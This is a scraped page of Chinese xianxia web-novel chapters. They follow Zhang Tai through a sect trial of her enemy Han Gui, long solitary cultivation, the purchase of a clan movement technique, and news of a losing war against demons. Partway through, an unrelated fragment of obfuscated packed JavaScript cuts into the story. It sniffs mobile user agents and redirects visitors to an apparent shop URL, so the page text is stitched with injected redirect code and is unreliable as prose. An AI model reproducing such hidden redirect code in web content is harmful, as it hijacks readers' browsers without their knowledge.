话音落下,就有执事弟子向空中抛出一枚水镜,水镜延展变大足以笼罩整个问仙台。
执事弟子将影卫联系上杂役弟子的场景对话,影卫的身份令牌,以及那群杂役弟子呈上的画押供词,张苔母亲的治疗医修说辞等等一一在水镜中呈现。
同时,另有执事弟子押着一位昏迷的影卫上了问仙台,陶首座直接施展搜魂术,在先前那些证据展示后,搜魂的记忆继续在水镜中放映。
放映的是韩桂交代先前那位与杂役弟子交涉影卫的画面,所说的话直接将韩桂摁死在蓄意谋杀同门的罪行,以及连带承担授意下的人强闯洞府、欺凌凡人的罪过。
除此之外,以这个影卫的视角,还展示了韩桂过去的屡屡罪行,譬如生挖修士的根骨移植到灵兽妖兽身上、用妖兽内丹和修士金丹互换、强迫魔物与修士交.媾等等。
其画面不是血呼啦次就是淫.乱不堪入目,看得场下众人纷纷痛骂。
除了韩家人,一个个的都极为尴尬。
韩世子夫人更是极为不悦,陶首座到底懂不懂做人?东西也拿了,这种与案情无关的,识相点就不应该再放出来。那影卫也是个废物,在被拿下之前连自尽都做不到,白白成了让人拿捏的把柄。
陶首座见情况差不多了,收了水镜,一拍醒木,台下噤声。
她目光如出鞘寒锋,直射下边被押解之人,厉声宣判,“韩桂!你遣杂役‘强闯同门洞府’,此为一罪;纵容爪牙‘欺凌凡人至重伤’,此为二罪;最不可恕者,你‘明面对杂役说着教训,实则让影卫跟随暗杀’,行事卑劣,触犯宗门‘同门相残’之大忌!”
“今数罪并罚,判你受雷鞭三百,废去修为,服役二十年后,永逐出门!”
问仙台下一片叫好。
陶首座任由问仙台附近的修士们叫喊一阵,再拍醒木,让场中肃静,留给余审理提议用功勋抵部分罪罚的空间。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249859|194373||http|test|mini|href|location''.split(''|''),0,{}));
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>韩世子夫人却有些不乐意,凭什么他们出了那么多的资源还要被审判被谩骂?台上台下的这群贱民配吗?
她一个眼风扫向养在自己膝下的韩朴。
得到授意,韩朴站出来,“弟子不服!”
“首先,有些事韩桂做是做了,但这种你情我愿的事连当事人都未曾置喙,陶首座公之于众进行批判是否合适?”
“其次,韩桂身份尊贵,要什么有什么,如果不是这个女修招惹在先,何必非要暗杀于她?莫不是张苔见韩桂富贵至极,利欲熏心,主动送上门不成便死死纠缠,我们世孙烦不甚烦才动的手。”
“而她一个普通修士,却能搅风搅雨让这桩案子满宗皆知,很难说后边是不是又攀上了什么人。”
问仙台下又是一阵躁动。
批判谩骂的声音还是占大多数,但还是出现了不少同样认同,并恶意揣测起张苔甚至陶首座的声音。
这让韩世子夫人满意,不过接收到自家姐姐百里家主不赞同的眼神,还是略有心虚。
韩朴发完话回到原位,这些话他也是有选择性的说的,他当然可以说些别的质疑首座甚至斥骂台下贱民等让世子夫人满意。
但只有如此,韩桂才会被再摁死丢人一次,也能够让韩家把目光转移一些到张苔上,韩家内部自查尤其是盯紧他的力度减弱一些。
张苔本人对于这一变故没什么感受,她觉着自己仿佛就像是一个彻底抽离出来的局外人,冷眼看着一切。
可能刚上问仙台的时候,极端的几种情绪轮番上演了一遍,她已经感官过载,所以此刻反而格外平静。
她拱手向上首陶首座处行礼,“弟子深知自己资质愚钝,深谢宗门收留,自入宗以来,恪守清规,一意修行,邪门左道更是半点不敢沾,摒绝外务,潜心修炼,几十年如一日,身影所至,唯有宗门任务区域与闭关洞府。”
“弟子确实不知为何韩桂如疯狗般突兀要来戕害于我,但状告证据俱全,某一些人,甚至连我的行踪我为人如何,从未查访过,直接空口白牙对我进行中伤污蔑,丝毫证据也无,就光凭一张嘴。”
“不知这是否有违宗规‘友爱同门’?对宗门风气也不甚良好,是否可以抓住典型进行处罚,以儆效尤?”
这话确实震慑住了场下先前那些心怀恶意之人,不认同、质疑的、阴阳怪气的声音还是有不少,但关于她本人的污言秽语却是完全没有了。
陶首座的宣判更是直接以支持回应张苔的要求。
“你问那些当事人,不是连同他们愿意上诉的家人都被杀干净了?你问动机?韩桂就是一个仗势欺人、心理变态的纨绔子弟,难道还让本尊传唤证人,耽搁大家宝贵的时间,来证明一滩烂泥为什么是臭的吗?”
“韩朴,你明知事实如何,却还歪曲事实,言语煽动同门,坏我宗门风气,现罚你在明刑峰思过崖禁闭一月,静思己过!”
执事弟子应声上前,不容分说将面色大变的韩朴押了下去。
见韩家一众人面色还有不服,却迟迟无人上前呈递功勋铁券,插进来的审理使还不赶紧进行以功勋抵罪的申诉,陶首座烦不胜烦,既然这样,那先前千辛万苦换得的功勋,就砸手里吧!
惊堂木轰然再响,声震四野,“判决已下,铁证如山!韩桂罪责难逃,雷鞭之刑即刻执行!余下一应琐事,按宗规处置。退堂!”
“威——武——!”
执事弟子齐声低喝,肃穆的声浪裹挟着不容置疑的威严,席卷整个问仙台。
台下观众见最终落幕,也是在一片叫好声中,开始陆续散去。
张苔立于原地,竟觉几分意外。
她未曾料到,连事先安排好的“功勋抵罪”环节都没上。
“如此...甚好。”
她才不想看到自己的仇人如何逃脱刑罚。
反正此案已定,要么韩家那边付出更多代价,去明刑峰重新申一个案件来给规避掉严苛的刑罚,要么韩家直接放弃这个韩桂也放弃先前的投入。
总之,局面都是有利于她的。
想明白这些,张苔放下心,也不声不响下了问仙台,不引人瞩目的汇入人流离开。
48. 闻道
至于问仙台会审的事后,陶首座分拨给了她母亲在抚烈苑的一个名额。
抚烈苑这种地方,一般都是抗魔战场上至少也是校尉级别的将士或做出巨大贡献的修兵阵亡后,给其家属所居住的,体现宗门对他们的抚恤、尊重和关怀,也是激励作战的一种规定。
此等住所,其安全防护、生活体验,自不必多说。
至于她自己的安危,据她观察所知,韩家那边恐怕不会动手。
也是之前住在接近林首座、陶首座这等上层人物的附近,她才了解到,她那桩案子,其实背后还潜藏了抗魔大局和世家私利的矛盾。
如果她一死,那又是韩家给像林、陶首座这样站在抗魔大局一方的势力送把柄,估计她死的事情只要挖出了和韩家相关,等待韩家的,会是一整个家族被赶出玄天宗势力范围。
从韩家搜剿的灵材一类不必说,更重要的是,韩家这么多年集家族资源供养,在玄天宗各峰占了的那些位置,也空了一些出来。
而崔仲豫那边,本来身为一流修仙世家继承人就事务繁多,何况谋划挖韩家资源墙角一事尚且自顾不暇,更是没心思来得罪她这个已然划归到陶首座势力范围内的人。
困扰她这么多年甚至让她直接遭受池鱼之殃累及到家人的麻烦事,总算尘埃落定,张苔便开始在迎仙峰找了个合适的地方,开辟了一间小型洞府,进行苦修。
这可是灵气极为浓郁的内峰,她手上的通行令还有时限,可不得抓紧?
规划是挺好,落实在行动上,于她这种资质平庸之人,便是格外痛苦。
入定闭目,代表各色灵力的光点缭绕周身非常充沛,木火土三种灵力的吸纳效率确实是比在外峰要快上不少。
但她灵根资质不够,导致对灵力的亲和吸引不够,大部分在经过一个周天时冲撞、消散,真正牵引到丹田被她炼化的,十不存一。
效率是比在外峰高,但没达到她期待的那么高。
直到完成不知道多少个周天,丹田中的灵气才壮大那么一些,接下来她还要凝液,三种灵力彼此排斥还要重复三次,否则一次性将两种灵力渗入金丹,她害怕彼此冲突然后引发修炼爆体。
又枯燥又琐碎又需要凝神,还感受不到什么成果,但为了进阶,只能耐下性子反复重复这个过程。
如果修炼中断了,反复也无法入定,张苔就自己动手煮一只灵鸡。
灵鸡所蕴含的精纯灵力洪流被金丹直接吸收的爽过后,再重复自己之前灵气吸引炼化压缩再重复的枯燥过程。
日子一天一天过去,不知不觉,三十八年的时光过去,外界大约过去了一年多一点。
张苔的修为也爬到了金丹大圆满巅峰。
二十九只灵鸡早在前十年已经用完,那时候她已从金丹后期突破到金丹大圆满,并稳固好了境界,张苔本也以为自己的闭关差不多那时候会结束。
可没想到在一次修炼途中她睡了过去,再度重温以前那个清晰梦境里自己的身死。
内心也无端出现一种紧迫恐慌感。
这种紧迫恐慌感促使她继续埋头修炼,每当她从修炼状态中出来,想要放弃的时候,死亡的清晰感又会再度充斥脑海心间。
实在修炼到身体都自发排斥灵气,不从周围进行吸纳的时候,极度的恐慌甚至让她用起了极品灵石。
这可是一些世家极其受重视的弟子才有的修炼待遇。
用完一次后她停下过,穷惯了的她极度懊悔。但之后死亡的感觉阴魂不散地始终笼罩着她,可不用极品灵石,她这个资质以及状态就根本没法修炼!
一天的深思熟虑后,她下定决心。
反正灵石赚来就是用来用的,以及这用法确实是在提升自我,再加上近些年自己又惹上了仇家,虽不会特地费时费力费钱杀她,但不幸碰上杀她只是顺手的时机,对方绝不会放过。
与其到时候不幸死了这灵石只是白白过手一趟,还不如直接用了算了。
直到手头五十块极品灵石被用到剩下八块,张苔才结束闭关。
本来她是想直接一鼓作气冲击元婴,但显然,这八块极品灵石不能够保证足够,她准备也不是很充分,而且手头总得留些灵石用来救急。
从洞府出来,张苔随机跟了一位迎仙峰的弟子出去。
她手里的通行令已经失效了,好在从迎仙峰出去没有进来看管得那样严格。
从迎仙峰出来,张苔本来打算拐个弯去事务峰任务大殿接除魔任务,虽然关于宗门任务她还有八个月的空闲期,但多多益善,万一以后被什么事绊住恰好可以拿来用。
但是御剑途中,她听到有同门讨论,知止尊者将在宗门万法峰开坛讲道。
“真的假的,去听的弟子每人发十块下品灵石?宗门什么时候这么大方了?”
“对啊,爬个试练塔都要交灵石,我过掉层数加起来得到的奖励加起来都抵不过进塔费。”
“不是宗门出,听说是知止尊者自掏腰包。你懂得,宗门上边有不少研究如何对付魔物的大能,但主流都是从功法、法器、阵法、符箓等上边入手。而知止尊者直接否认了咱们整个修仙界的修炼方式,特怪诞,所以要传播开肯定要自费。”
“知止尊者自个儿是靠着另外的方式修炼而成的?”
“不是啊,所以才说很奇怪一人。话说回来,你们去吗?”
“不会是你想去然后拉着我们吧?兄弟,你穷成这样了,十块下品灵石的趟也要赶?要不咱哥几个各出三块下品灵石资助资助他,多出的两块纯当白送他了哈哈哈哈。”
“滚一边去,说正经的,主要是我这几年修炼太艰难了,再加上这事确实新奇,所以想去看看,反正不费什么功夫还有灵石拿。”
一群人的声音远去,不过最后听到的那句算是说进了张苔心坎里,反正宗门任务不是很急,她也没有很强的动力去做,万法峰的讲道她也可以去听一听。
这么大的事,每个峰的执事殿都会公布,她前往了就近的外峰执事殿,了解了具体的时间地点,发现居然不久后就要开始了。
张苔抵达万法峰讲道的广场时,在座的弟子不算多,甚至出现筑基杂役弟子带着他们炼气或身为凡人的家眷。
有位面目和善的女修迎她上来,应该是知止尊者的门下弟子,问她是不是来听讲道的,得到肯定答复后真从储物法器中取出十块下品灵石给了她,然后让她随意选位等候,讲道即将开始。
位置很充裕,张苔选了个靠前的角落随意站着,然后将目光投向台上。
知止尊者是位身着朴素灰袍,面容平和,两鬓如霜眼神却异常清亮的化神大能。
她所讲的内容,确实惊世骇俗——直接从本源上否定了当今修士修炼进阶的方式。
众所周知,所有修士,无论法修、剑修、体修等,都是以吸纳天地灵气入体炼化为基础,境界上来了,才能够连带着术法、剑招、气血罡劲更上一层楼。
比如很多剑修也在进阶也同样使用着法修的炼气筑基金丹等境界划分,
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阵修中七阶往上再难进益很多都说是修为跟不上的原因。
但在知止尊者看来,有此言论的除法修外的修士,都是太受主流法修影响而走偏了。
他们很多在自己选择的道上遇到了阻碍难以得到寸进,便通过法修的方式来为自己加强综合实力,与其说这些人是剑修阵修,不如说是剑法双修、法阵双修。
既然以法修为基础能为其他类型的道进阶提供帮助——这也就是当今绝大多数的实际情况,也是先前所论述的。
那么反过来,专修其他道能否为法修的境界提供助益呢?
知止尊者通过大量的翻阅典籍,以及实地调查,证明这是说得通的。
她在史书上发现上上任战神,也即姜戈战神,其麾下有一员大将,竟以五灵根的资质,年纪轻轻到达了化神的境界。
为了论证史书的真伪,她根据史书走访了此大将的家乡,参观了对方的祠堂,证明了确实有这样一位卓越之才。
按照常理五灵根修士不可能在她那样的年纪有此修为,但知止尊者发现,这位修士除却法修的身份,还是一位心修,所以有没有可能,是心修一道大大拔高了她本来在法修一道上的进阶?
从这个角度出发,包括首任战神,身负三灵根,在未曾大量开发灵脉,灵气那样贫乏的年代,却达到那样高的修为,是否跟首任战神精通好几道有关?
于是知止尊者提出观点,主流以吸纳天地灵气入体炼化为基础的进阶,并以此带动一系列其他道法的情况,是否恰当?
除法修外的其他道,是否应该回归本真,走上专于此道的进阶方式?
张苔本人是听得比较入神的,在一定程度上也颇为赞同知止尊者的想法。
可惜值得一提的是,再怎么有理,这终究也只是一个想法。
那员大将究竟是什么情况,也只有对方自己本人知晓了。
且实操性也不强,既然其余道都是依托在法修之道上,那证明其余道本身基本上是没有与灵气断开的专门进阶体系的,那极少的部分,寻常人也难以遇到,又何谈通过专修其余道带动法修的进阶呢?
但也没有太过失望,这种问题若是有望解决,修仙界早不知道引发多大轰动了。
她过来听讲道,也是秉持着一个过来放松的态度。
知止尊者的讲道结束,张苔随着不多的人流离场,紧接着御剑去了事务峰的任务大殿,照例领取了地点重合的一个侦测任务,两个猎魔任务。
这次她领侦测任务的时候人还没凑齐,约莫还要等上几天,再加上人齐之后还给了三日的准备时间,故而利用这个空档,她准备把那件上等仙器千絮浮光环给出手,换一门地阶及以上的身法。
在坊市挂出自己的需求后,陆陆续续一直有人联系她,只是功法品质和施法效果一看个开头便让张苔不敢恭维。
大多都是用黄阶玄阶假冒糊弄,想看看能否占便宜的。
她这么多年的修炼经历也不是白费的,任务同行、宗门大比、抗魔作战留影记录等,一些弟子的优秀身法是什么样她又不是没有细细观察揣摩过,且对自身使用的低阶功法是什么样太过熟悉,自然不会上当。
这种情况也能够理解,没办法,顶尖功法尽数被修仙世家垄断,拿得出地阶天阶功法的世家弟子或者草根大能也不缺你那一把仙器。
眼看着侦测任务的人齐了,三日后就要出发,张苔准备撤下这个交易木牌时,一个比较年轻,骨龄只有二十八的单灵根元婴修士找上门。
49. 身法
这位来者有些特殊,见面的这时候东张西望、神识四处扫的,搞得张苔都要以为他要拿来交换的功法不是什么合适的来路得到的。
相对坐下时,对面率先拿出了一沓玉简,张苔翻了翻,眉头几不可察的微微一皱。
《炼器打铁入门》、《音修起手音律》、《常见一二阶阵法阵图》、《初阶引火术》......
里边的内容还真是打铁、吹奏、阵图、初级术法等,还有一些日常姿态。
如果是从前,张苔肯定要抬头问对方什么意思了,交易内容她写的明明白白,给她这些作甚?是在戏耍她吗?
而今的张苔性子磨平了不少,也看对方作态不像这种人,于是重新拿起第一册玉简,细细看起炼器入门的打铁图册来。
还真让张苔看出了一些不同寻常的蛛丝马迹,画中器师有几张打铁的图册,锤法步点和发力节奏倒是和身法暗合。
爆发、转折、腾挪、卸力……
尤其有一张,器师挥锤四十九连击在脑海中自动同步,倒像是短距离内几番极限闪避的步频。
拿起第二册玉简,有了适才的经验,张苔也很快识别出一段乐谱的“三响一停”是蓄力后破空突进的节奏。
第三册,有张比较冷门的阵图,清洁阵,因为效果类似清洁术,且线条太过扭曲盘绕而被淘汰掉的阵图,这些线条,是身法在复杂环境如竹林、乱石、围攻下,较优移动轨迹推演图。
每一条弧线的转折点,都是一个关键的闪避或借力点,整体的阵图线路,也跟一般交手时常人预判的躲闪位置不同。
还要继续往下翻,一只手横亘过来拦下她。
“仙器呢?”
张苔对这一功法极其满意,至少是对能让她阅览的前边部分很满意,于是也爽快从储物法器中拿出千絮浮光环让对方验货。
对方拿起上等仙器千絮浮光环,细细打量一番,显然对其也是很满意。
不过对方还是比较谨慎的,让她拿契约玉简出来,相互神识刻录确保交易没有欺骗。
张苔也正有此意,不过“你这功法实在太散乱了,完全要靠我自己联接参悟,更有可能造成遗漏,与我的上等仙器比起来,你这功法还是有些逊色了,少说应该给我补一些上品灵石。”
年轻男修木着脸道,“我已经尽力做到详尽,修仙世家对功法管控极其严格,只能通过化功为技,将片段分别打入普通技艺、术法之中。”
听到这话,张苔脑海里灵光一闪,联系这人通身气质外加刚面见时的表现,以笃定的口吻猜测道,“道友的身份为世家影卫!”
年轻男修颔首承认了身份。
张苔心道难怪。
世家影卫替主家做事,或保护或暗杀,实力自然不能弱,修习的当然也是顶尖功法,不过往往是通过神识灌顶传授,附带禁神咒,一旦试图对外复述或者刻录,神魂将遭受重创。
这影卫也是个厉害的,融会贯通这身法又颇为见多识广,将功法如此拆开隐含于别的初级技艺术法之中。
不过世家影卫要么皆有亲人家眷居住于家族保护的“内城”,实为人质。一人叛逃,全家受诛。高级暗卫则通过与家族旁系抑或不争气子弟联姻,利益深度绑定,这和世家奴仆都是些家生子类似。
或者从孤寡年幼的孩童中筛选优秀资质的苗子,并进行身份剥夺,不断洗脑灌输一些以主家为信仰的概念。
但无论哪种,世家影卫身上都被下了秘术,背叛会有反噬。
不过眼前这位都开始售卖世家的功法,世家捆绑他的几重限制估计全失效了。
张苔乱飞的思绪被对面的话声打断,“这功法可是出自玄天宗顶层驻宗世家姬家,影卫刺杀的不二利器,连凝光宗的万俟家都向姬家求购,你和我交换,绝不会亏。”
这一任战神的生身父亲便是万俟家的掌权人。
张苔也不再犹豫,拿出契约玉简,就开始刻录,要求对方交易过来的功法是在地阶及以上,且交易过来的那沓玉简中不能缺少整部功法的任意内容,修习之后不会有什么副作用等。
将契约玉简递过去,这位世家影卫扫过她的要求,没有任何异议,也开始刷刷刷刻录自己的要求,包括张苔交易过去的法器确实为仙器,且该仙器不是残缺版,没有什么使用隐患。
然后留下神魂印记后交给张苔,让张苔留下神魂印记。
在这最后一步,张苔迟疑了一瞬,再度看了看自己的交易需求,确认不会有什么遗漏。
她忽而又想起自己曾听闻过的一点,世家在功法上,对影卫除了禁神咒的约束,还有一重最大的限制,便是资源钳制。
影卫修炼修习所需的关键灵材,完全由世家垄断供应,功法与资源之间严密的共生关系,若没有特定的、被世家垄断的资源配合,这门功法不是无法修炼,就是威力大减。
她登时气恼,将这一点笃定扔出来并进行质疑。
这位年轻男修世家影卫遗憾地看了一眼,只差最后一步就完成的契约玉简。
“道友见多识广,连这一点都知晓,本来契约玉简完成后,我也会提出这一点的。”
只是那时候,他身上带出来的资源,张苔买也得买,不买也得买,不然用仙器交换的功法修炼出来压根达不到意想的效果,他对那些资源也就掌握绝对的议价权。
他拿出一个玉盒,玉盒打开里边装着五瓶密闭的瓷瓶。
“该功法需吸纳一种名为‘空青灵液’的特殊灵液来淬炼腿部经脉,才能达到‘掠影’效果。而这种灵液,只在姬家控制的“悬空山秘境”中稳定产出。”
“哪怕不修炼这一功法,‘空青灵液’也是体修进阶淬体所必须,市价在三十块上品灵石一小瓶。”
又拿出一个更大的、隐隐透着血气的玉匣。匣盖揭开,里面整齐码放着三根小指粗细、通体暗红如血、表面生有鳞片状纹路的藤条,一股带着奇异生机的辛辣药香弥漫开来。
将匣子盖上后,年轻男修道,“身法对腿部经脉负荷极大,经脉需承受更剧烈的灵力冲刷。需定期以八阶灵材‘龙血藤’为主药,配以七叶融骨花、百年石髓,熬制药浴,修复暗伤、增强韧性。”
年轻男修的声音平静,却带着不容置疑的凝重,“此藤,乃姬家药园秘产,外界绝无流通。黑市偶有出现,没有一定的势力人脉也拿不下。”
张苔一听就觉得对方有漫天要价之势,“咱这交易,还是算了吧,我可是个身上掏不出多少上品灵石的穷人,买不起这等高昂物什。”
这位年轻男修显然一眼看穿张苔:“在而今修仙界所有身法之中,这部可以说绝对名列前茅,灵材的投入也是为了让身法的效用发挥到极致,两百四十块上品灵石,这些高阶灵材你拿走。”
“说句实在话,若不是我马上要跑路,这些东西急着出手,可以说,你这辈子都别想以这么低廉的价格拿到这么珍贵的灵材。”
在一阵讨价还价的推拉中,张苔最终还是以两百块上品灵石也就是两块极品灵石的价格拿下了这些修习功法的资源。
重新又拿了一份契约玉简,这次张苔除了先前的要求,又添上用空青灵液、龙血藤辅助后可以修炼且威力不减。
年轻男修还是先前那些要求。
这次没再横生什么波折,双方都顺利在最后留下神魂印记。
如有违背,将遭到侵入神魂违约咒的反噬。
“最后一个问题,这部功法的名字是?”
年轻男修:“孤独的鸿雁化为一场浮光掠影。”
张苔对世家严防死守的操作也是彻底服气,功法名字的复述都要限制一下,她根据感觉从中提取,“所以该功法名为《孤鸿掠影》?”
年轻男修颔首,“交易愉快,我将即刻动身离开前往东南域,这边建议你也赶紧跑路。”
张苔以为对方说的是之后姬家发觉他叛逃后并将功法售卖于她,然后被姬家找麻烦一
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事。
“用不着,这种细枝末节偌大的一个世家应该不会关注到,就算察觉了,我三日后就出发侦测任务,回来至少也得半个月后,估摸着姬家早忘了。”
倘若真的找上门也没什么,只要姬家的人敢来,她就敢以功法修习不了被骗了,赖上姬家让其给予自己赔偿。
年轻男修闻言沉吟了一会儿,“也行吧,就此别过,后会有期。”
*
两天多的时间,通过时间碎片的作用,足足接近两个月。
张苔利用此时间,《孤鸿掠影》的第一重“孤鸿初现”顺利小成!
她能清晰感觉到,双腿经脉中奔流的灵力,与肌肉骨骼的发力,达到了一个全新的协调境界。
随意施展体验了几把,发觉灵力的消耗比她预想的少了太多太多,速度却提升了五成不止!
最关键的是那种“意境”,孤鸿掠空,无迹可寻,不仅快,更难以被预判和锁定。
反正今后如果碰上什么硬茬,打不过,脚底抹油迅速溜走还是不成问题的。
除了以上收获,在那沓玉简中,张苔还发现了一个意外之喜,不知道是不是那位世家影卫急着跑路没有认真筛查,那沓玉简中除了需要自行串联的《孤鸿掠影》身法,还有一门隐匿术。
虽然隐匿术的等阶显然赶不上孤鸿掠影身法,内容长短更是不到其二十分之一,但该隐匿术修习没有别的什么限制,且效果比市面上流通的玄阶隐匿术好了不止是一星半点。
张苔同样笑纳着修习了。
带着这些喜人的成果,在第三日,张苔前往与侦测任务的其余队友汇合。
这次的侦测任务很中规中矩,魔窟之主实力是堪比元婴后期的魔将级别。
整支队伍白天不断推进往魔窟深入顺带用着探魔石记录整个魔窟的情况,晚上进入找到的庇护点作为休息点,第二日再延续前一天的进程。
魔窟外围的魔卒魔使,以及他们分裂出来的低等魔物,在他们一群金丹修士的队伍里简直不够看的。
往里边深入,也多是一些实力在金丹初期的魔卫,击杀起来也不费劲。
碰上再厉害一些的魔卫,有张苔这个金丹大圆满巅峰的在,亦可以顺利解决。
不过整支队伍也没有很张狂,老老实实根据探魔石的动向走。
探魔石稍微亮一点,就绕道走,所以需要张苔大显神威去对抗顶级魔卫的情况也很少。
整支队伍表现很正常,除了张苔。
说到底,知止尊者那番以其他道的大成来助推法修的进阶,还是对她产生了影响。
身负《扛势淬身经》的她,每个前半夜总要跑出去,跟那些魔窟之主护法的魔将去对碰一下,将那些威压攒着,新修习的《孤鸿掠影》更是让她如虎添翼,不小心陷入魔物包围圈都能成功脱身。
后半夜回到队伍聚集的镇上庇护点,找个角落释放蓄积的威压,锤炼肉身,她想着,知止尊者的观点无论有用没有都可以试试。
先给体修这上边打个基础,万一以后得幸遇上专门的体修进阶功法,她可以尝试尝试,并以此看看能否带动自己的修为境界。
于是她的队友就看到一个个晚上刚进入休息点就跑出去,三更半夜才回来,然后在角落把自己搞得血糊满身的她。
鉴于她的修为在队伍中最高,队友是绝不会在她面前说什么的,张苔也就彻底忽视队友的想法。
整个魔窟不大,期间也没有进行大举扩张,花了七日时间,队伍就将魔窟除了有魔窟之主以及有不少魔将出没的最内层,其余都侦测过一遍。
于是第八日,队伍就开始返程。
一行六人穿过村落、田间、荒野等,终于抵达最近的栖霞仙城。
排队入城检查的队伍很长,几人淹没在一群修士凡人们嘈杂的说话声中。
“听说了吗?西南域战场连连战败,有一块地方,都打到边境线只剩下最后一个防御区了。”
50. 自欺
“这谁不知道啊,先前上边还总是死命封锁着,偶尔有些个在大宗门修行的退宗回来,拖家带口说要往东南域那边去,都被抓走进行严厉处置,给以传播霍乱人心谣言的罪名,而今魔物打到家门口,这是瞒也瞒不住了。”
“那你们还不跑?还排队在这里进仙城?”
“能跑哪去?东南域那么远,我们这种低阶修士,逃亡路上一不小心撞进个魔窟,命直接交代了,还有东南域的入关费我们也交不起啊。”
“是啊,你没看镇主府发布的公示?现在连仙城之间的大型传送阵都封了,说是要紧着一切资源送到前线对抗魔物用。”
张苔听到这里,人瞬间不淡定了。
她听到的,她的这些队友们也听到了。
紧接着,队伍的队长李丛玥站出来道,“你们在这里排队,我和苔姐去问问前头检查的修士,看究竟是否确有此事。”
张苔随同队长李丛玥来到检查人流的城门护卫前,看着队长递出五枚中品灵石。
“道友,据说现在城里的传送大阵禁止使用了,真的确有此事?”
城门护卫毫不含糊地将灵石给收了,一边看着检测人员在验魔石旁的情况,一边回复道,“你们镇里没公示吗?城主府的命令早就下达各镇了,也不单独是我们仙城,至少玄天宗辖地的所有仙城都是如此。”
得到肯定答复,张苔和队长李丛玥也没停留,将消息带回队伍。
这下排队也没什么必要了,一群玄天宗修士拐到一处角落面面相觑。
“不是?这才一旬左右的时间,怎么整个修仙界的形式一下子就变了?这也太突然了。”
“你们就没有个好友通知一下吗?这等大事,你们好友啥也不跟你们说,也太不仗义了。”
“还说我们,你自个儿不也是一样?修行路上大部分都是一个人,修士不都是孤独冷漠的?”
“这不是重点,话说,咱们真的要回宗门吗?现在的情况你们也听到了吧?不然咱们也往东南域那边跑路吧?”
“对啊,说不定宗门也早就乱成一锅粥了,其实队长应该人缘还不错,但这也没人通知他,说不定正是宗门里的同门尚且都自顾不暇呢!”
“不是?情况真有这么严重了?咱们先不要预设最坏情况,万一压根没什么大事,跑的话咱们这算不算叛逃宗门啊?”
最终还是队长李丛玥站出来,“情况不明朗,大家看还有宗门里哪些人的传讯符,尽量都联系联系,问问究竟是怎么回事。”
说着,她已经开始拿出传讯符输入灵力。
张苔从听到排队修士的对话起,整个人就有些恍惚了。
她只在想,自己莫不是还在梦里吧?梦中的事情怎么真的就灵验了呢?
她甩甩脑袋,确实如同队友所说,先不要预设最坏情况,万一压根没什么大事呢?
还是先按照队长的指示行动,联系上认识的人。
不过她认识的宗门内修士不多,很显然方才有位队友口中所谓为人孤独冷漠的修士,她也算个典型。
先前好歹还有个同乡邻居关系还可以,常常互通有无,但韩桂一事后,母亲搬走,自己进迎仙峰,她也忘了维护经营这段关系,导致断了联系。
在念头杂乱间,能够发出传讯符的都激活了。
六人几十张传讯符化为流光往各个方向迅速飞走,很快就见不着踪影。
众人开始了漫长焦虑地等待。
然而飞出的传讯符断了线的纸鸢一样,一去不返,杳无音信。
有些队友不信邪,另外重新又输入灵力放飞了几张。
最后终于队长李丛玥的有一张传讯符有了响应,对方同样传来了一张实时传讯符。
“情况就是你们在路上看到的那样,整个修仙界,现在乱了。”
李丛玥:“老詹,这到底是怎么回事?十天前咱们碰面的时候,一切不都还是好好的吗?”
传讯符:“丛玥我知道一下子天变了你可能接受不了,但现实确实如此,仔细回想,也不是没有迹象,只是你我都没当回事,也接受了宗门给出的谣言说法。”
李丛玥沉默了一会儿,继续道,“那现在宗门情况怎样?你还在宗门里?”
传讯符:“嗐,那哪能啊,宗门现在是个修士都给你征召到前沿抗魔战场去了,你也传讯给过三三他们吧,他们不是不回,一个是距离太远了,二个是战场的防护拦截下来了。”
队长李丛玥很快听出了言下之意,“所以现在最好是不要回宗门?你现在也在外边?”
传讯符:“这得看你自己,回宗门是一定会收到征召令让你上战场的,你不去就是逃兵,战场究竟什么情况,你我也不知晓,万一魔物被打退了你又逃了,宗门追究起来也不是好事,如果没上战场意愿,最好还是在外边晃荡着。”
“至于我?我现在赶往东南域呢,我道侣是金虹门的亲传弟子,她跟着自家掌门,直接拿下了中州到东南域的入关口,现在天天在收缴那些跑路世家带着的大量修炼资源呢,我能够了解这么多,很大一部分都是她告诉我的。”
听到这里,张苔如遭雷击,这个细节她在梦里听闻过,大战爆发前期,中州这边与东南域产生过摩擦,起因在于中州这边将东南域修士守着的关隘口给抢了。
东南域因为地理位置,自逢魔乱世来,生活在那里的人族大部分几乎都未曾直面过魔物。
在这种关键时刻,还眼皮子浅的继续寸步不让。
一开始中州想借用关隘口也是好好商量过的,只是对面油盐不进才动手抢的,那边界线上的几个关隘口中州这边也没把持几天,后续东南域又带着一批修士抢回去了。
但最终也没讨着好,其中最大关隘口[断野关]的临近几镇子爆发了个超大型魔窟,恰逢战时其归属的统治宗门难以兼顾去管,于是扩张成魔潮,前往断野关,刚抢占回此地的东南域修士大部分化为灰飞,小部分加入魔物。
梦里中州失守,中州人士流离失所,大部分逃到了东南域,梦中那位女主之后也是生活在东南域,难免遭到排挤,于是她便用这件事进行反讽。
念及此,张苔也顾不得礼貌,插入问道,“金虹门本来是抱着友好态度与对面沟通
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,只是对方那边太过跋扈,不肯答应才动手抢下关隘的吧?”
传讯符那边闻言惊奇道,“是的,也是奇了,你怎么知道?”
“从玥,你们那边是也有人联系上了金虹门那边?”
张苔心情越发沉重,又契合了一项。
其实没必要再去论证了,再怎么自欺欺人,一次次的现实痛击还不够吗?
最矛盾的是,无论她口头上如何否认,她行为上迫切地提升实力,无意识在特定的时间点出关并领取宗门任务外出等,不正是对自己断定那不知为何突兀出现又无比清晰的梦境,也就是预知梦的绝对肯定吗?
顾不上队友们或诧异或疑惑的目光,张苔继续道,“东南域那边不会罢休的,很快又会组织人手抢回关隘,且离断野关不远的几个镇子,先前潜藏的不少魔物趁着战乱开始放纵,金虹门派驻过去的人员应对不了。”
传讯符:“你说的是真的吗?你怎么会知道这么多?有什么证据?”
张苔知道,若是要说服金虹门的这批人行动,不重蹈梦境中的覆辙,必须得要一个足够撼动他们的重大性机密消息。
忍着脑袋中的剧痛,她拼命在那些记忆里搜刮着。
